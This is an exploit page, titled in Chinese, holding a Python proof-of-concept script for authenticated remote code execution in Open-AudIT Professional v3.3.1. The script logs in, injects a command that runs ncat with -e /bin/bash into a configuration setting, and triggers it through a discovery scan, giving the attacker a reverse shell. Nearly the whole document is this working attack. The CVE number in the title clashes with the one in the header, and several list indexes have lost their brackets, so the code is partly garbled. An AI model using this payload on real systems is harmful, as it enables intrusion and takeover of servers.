CVE-2020-12078 Open-AudIT v3.3.1 远程命令执行漏洞

EXP

#!/usr/bin/python3

# Exploit Title: Open-AudIT Professional v3.3.1 Remote Code Execution
# Date: 22/04/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://opmantek.com/
# Version: v3.3.1
# Tested on: Ubuntu 18.04 / PHP 7.2.24

import requests
import sys
import warnings
import random
import string
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
   print("~ Usage : ./openaudit-exploit.py url username password ip port")
   exit()

url = sys.argv1
username = sys.argv2
password = sys.argv3
ip = sys.argv4
port = sys.argv5

request = requests.session()

def inject_payload():
   configuration_path = url+"/en/omk/open-audit/configuration/90"
   data = 'data={"data":{"id":"90","type":"configuration","attributes":{"value":";ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};"}}}' % (ip, port)
   request.patch(configuration_path, data)
   print("+ Payload injected in settings")


def start_discovery():
   discovery_path = url+"/en/omk/open-audit/discoveries/create"
   post_discovery_path = url+"/en/omk/open-audit/discoveries"
   scan_name = "".join(random.choice(string.ascii_uppercase) for i in range(10))
   req = request.get(discovery_path)

   response = req.text
   soup = BeautifulSoup(response, "html5lib")
   token = soup.findAll('input')5.get("value")
   buttons = soup.findAll("button")
   headers = {"Referer" : discovery_path}
   request_data = {
   "dataattributesname":scan_name,
   "dataattributesothersubnet":"10.10.10.1/24",
   "dataattributesotherad_server":"",
   "dataattributesotherad_domain":"",
   "submit":"",
   "datatype":"discoveries",
   "dataaccess_token":token,
   "dataattributescomplete":"y",
   "dataattributesorg_id":"1",
   "dataattributestype":"subnet",
   "dataattributesdevices_assigned_to_org":"",
   "dataattributesdevices_assigned_to_location":"",
   "dataattributesothernmapdiscovery_scan_option_id":"1",
   "dataattributesothernmapping":"y",
   "dataattributesothernmapservice_version":"n",
   "dataattributesothernmapopen|filtered":"n",
   "dataattributesothernmapfiltered":"n",
   "dataattributesothernmaptiming":"4",
   "dataattributesothernmapnmap_tcp_ports":"0",
   "dataattributesothernmapnmap_udp_ports":"0",
   "dataattributesothernmaptcp_ports":"22,135,62078",
   "dataattributesothernmapudp_ports":"161",
   "dataattributesothernmaptimeout":"",
   "dataattributesothernmapexclude_tcp_ports":"",
   "dataattributesothernmapexclude_udp_ports":"",
   "dataattributesothernmapexclude_ip":"",
   "dataattributesothernmapssh_ports":"22",
   "dataattributesothermatchmatch_dbus":"",
   "dataattributesothermatchmatch_fqdn":"",
   "dataattributesothermatchmatch_dns_fqdn":"",
   "dataattributesothermatchmatch_dns_hostname":"",
   "dataattributesothermatchmatch_hostname":"",
   "dataattributesothermatchmatch_hostname_dbus":"",
   "dataattributesothermatchmatch_hostname_serial":"",
   "dataattributesothermatchmatch_hostname_uuid":"",
   "dataattributesothermatchmatch_ip":"",
   "dataattributesothermatchmatch_ip_no_data":"",
   "dataattributesothermatchmatch_mac":"",
   "dataattributesothermatchmatch_mac_vmware":"",
   "dataattributesothermatchmatch_serial":"",
   "dataattributesothermatchmatch_serial_type":"",
   "dataattributesothermatchmatch_sysname":"",
   "dataattributesothermatchmatch_sysname_serial":"",
   "dataattributesothermatchmatch_uuid":""

   }
   print("+ Creating discovery ..")
   req = request.post(post_discovery_path, data=request_data, headers=headers, allow_redirects=False)
   disocvery_url = url + req.headers'Location' + "/execute"
   print("+ Triggering payload ..")
   print("+ Check your nc ;)")
   request.get(disocvery_url)


def login():
   login_info = {
   "redirect_url": "/en/omk/open-audit",
   "username": username,
   "password": password
   }
   login_request = request.post(url+"/en/omk/open-audit/login", login_info)
   login_text = login_request.text
   if "There was an error authenticating" in login_text:
       return False
   else:
       return True

if login():
   print("+ LoggedIn Successfully")
   inject_payload()
   start_discovery()
else:
   print("- Cannot login!")